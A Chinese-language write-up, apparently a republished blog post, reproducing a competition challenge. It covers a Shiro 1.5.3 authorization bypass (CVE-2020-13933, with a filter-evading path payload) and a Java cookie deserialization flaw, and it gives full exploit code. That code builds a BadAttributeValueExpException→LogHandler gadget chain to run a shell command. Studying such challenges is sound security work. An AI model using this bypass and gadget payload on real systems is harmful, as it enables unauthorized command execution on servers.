什么是Java反序列化漏洞
这篇文章主要介绍“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”什么是Java反序列化漏洞”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!
创新互联客户idc服务中心,提供成都IDC机房托管、成都服务器、成都主机托管、成都双线服务器等业务的一站式服务。通过各地的服务中心,我们向成都用户提供优质廉价的产品以及开放、透明、稳定、高性价比的服务,资深网络工程师在机房提供7*24小时标准级技术保障。
0x00 前言
近年来,工作中Java Web
的项目越来越常见,并且逐渐取代了前几年php
的辉煌地位。
在众多Java Web
漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:Shiro
、Fastjson
、JBoss
、WebLogic
、Structs2
等等。
本文基于一次内部小范围比赛题目的复现,简单聊聊Java
代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java
反序列化的入门文章,里面对Java
的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java
反序列化中的简单概念,仅从题目本身入手。
0x01 正文
题目本身是Web
题目,并且提供了源码。
打开页面,登录窗口。
页面仅有一个登录窗口,尝试一波弱口令,无结果。
然后去看代码,jar
包导入JD-GUI
,随便点点。
大致文件结构如下:
其中ShiroConfig.class
内容如下:
简单审计发现,index
内容需要认证,也就是需要登录。
查看index
对应的IndexController.class
,发现存在反序列化点。
具体代码如下:
if (cookies != null) { for (Cookie c : cookies) { if (c.getName().equals("userinfo")) { exist = true; cookie = c; break; } } } if (exist) { byte[] bytes = Tools.base64Decode(cookie.getValue()); user = (User)Tools.deserialize(bytes); } else { user = new User(); user.setId(1); user.setName(name); cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user))); response.addCookie(cookie); }
当访问index
时,并且存在cookie
的key
为userinfo
时,会对其value
进行deserialize
。
过程如下:
cookie[userinfo] --> base64decode --> deserialize
暂时思路是,登录之后,通过cookie
进行反序列化。
但是由MyRealm.class
可知,密码是随机的。
具体代码如下:
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
再由lib
中的BOOT-INF.lib.shiro-spring-1.5.3.jar
可知,shiro
版本为 1.5.3 ,存在CVE-2020-13933
权限绕过漏洞。
根据 https://xz.aliyun.com/t/8230 可知,常用payload
为/index/%3bxxx
。
但存在过滤器AllFilter.class
。
public class AllFilter implements IAllFilter { public String filter(String param) { String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" }; for (String i : keyWord) { param = param.replaceAll(i, ""); } return param; } }
AllFilter
会对payload
的字符进行过滤,经过尝试,最终有效payload
为/index/%3b/xxx
。
绕过权限之后,发现后台为日志记录。
涉及到LogHandler.class
,在之后的后续反序列化会用到。
绕过权限之后,想办法反序列化。
要序列化的条件是,必须继承Java.io.Serializable
接口。
在代码中寻找可被利用的class
。
发现LogHandler.class
。
其中存在命令执行点
public class LogHandler extends HashSet implements InvocationHandler { private static final long serialVersionUID = 1L; private String readLog = "tail /tmp/accessLog"; private Object target; private String writeLog = "echo /test >> /tmp/accessLog"; public LogHandler() {} public LogHandler(Object target) { this.target = target; } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0])); return method.invoke(this.target, args); } public String toString() { return Tools.exeCmd(this.readLog); } }
LogHandler
继承了HashSet
。
HashSet
继承了Java.io.Serializable
接口。
HashSet
部分代码如下:
package Java.util; import Java.io.InvalidObjectException; import sun.misc.SharedSecrets; public class HashSetextends AbstractSet implements Set , Cloneable, Java.io.Serializable{ static final long serialVersionUID = -5024744406713321676L; ......
之后的pop
链为:
deserialize --> LogHandler --> toString --> exeCmd (readLog)
条件:readLog
可控 。
readLog
为私有属性,可通过Java
的反射机制访问属性值。
方法 | 说明 |
---|---|
getDeclaredField(String name) | 获得某个属性对 |
例如:
import Java.lang.reflect.*; public class AccessAttribute { public static void main(String[] args) throws Exception { Field aaa= UserClass.getDeclaredField("name"); aaa.setAccessible(true);//私有属性,设置可访问 aaa.set(user, "liuxigua"); } }
最终目的:寻找某个Java
原生类,要求:重写readObject
方法并且可调用可控类的toString
方法。
最后百度查到BadAttributeValueExpException
,并且很多Java
反序列化的Gadgets
均用到了此类
BadAttributeValueExpException
部分代码如下:
public class BadAttributeValueExpException extends Exception { private static final long serialVersionUID = -3105272988410493376L; private Object val; public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
可通过将val
设置为logHandler
类,最终在readObject
时调用其toString
方法。
BadAttributeValueExpException (val) --> LogHandler(readLog).toString() --> serialize --> base64encode cookie[userinfo] --> base64decode --> deserialize --> LogHandler --> toString --> exeCmd (readLog)
最终Gadgets
:
Javax.management.BadAttributeValueExpException.readObject() -->tools.logHandler.toString()--> tools.Tools.exeCmd()
注意:payload
的代码结构与文件位置需要与服务端代码结构与文件位置保持一致
package com.test.JavaWeb; import Javax.management.BadAttributeValueExpException; import com.test.JavaWeb.tools.Tools; import com.test.JavaWeb.tools.LogHandler; import Java.lang.reflect.Field; public class Exp { public static void main(String[] args) throws Exception{ LogHandler logHandler = new LogHandler(); Field readLogField = LogHandler.class.getDeclaredField("readLog"); readLogField.setAccessible(true); readLogField.set(logHandler,"touch /tmp/123"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,logHandler); byte[] bytes = Tools.serialize(badAttributeValueExpException); System.out.println(Tools.base64Encode(bytes)); } }
生成payload
之后,在cookie
的userinfo
值填入,可执行命令。
到此,关于“什么是Java反序列化漏洞”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注创新互联网站,小编会继续努力为大家带来更多实用的文章!
文章名称:什么是Java反序列化漏洞
路径分享:http://ybzwz.com/article/iioops.html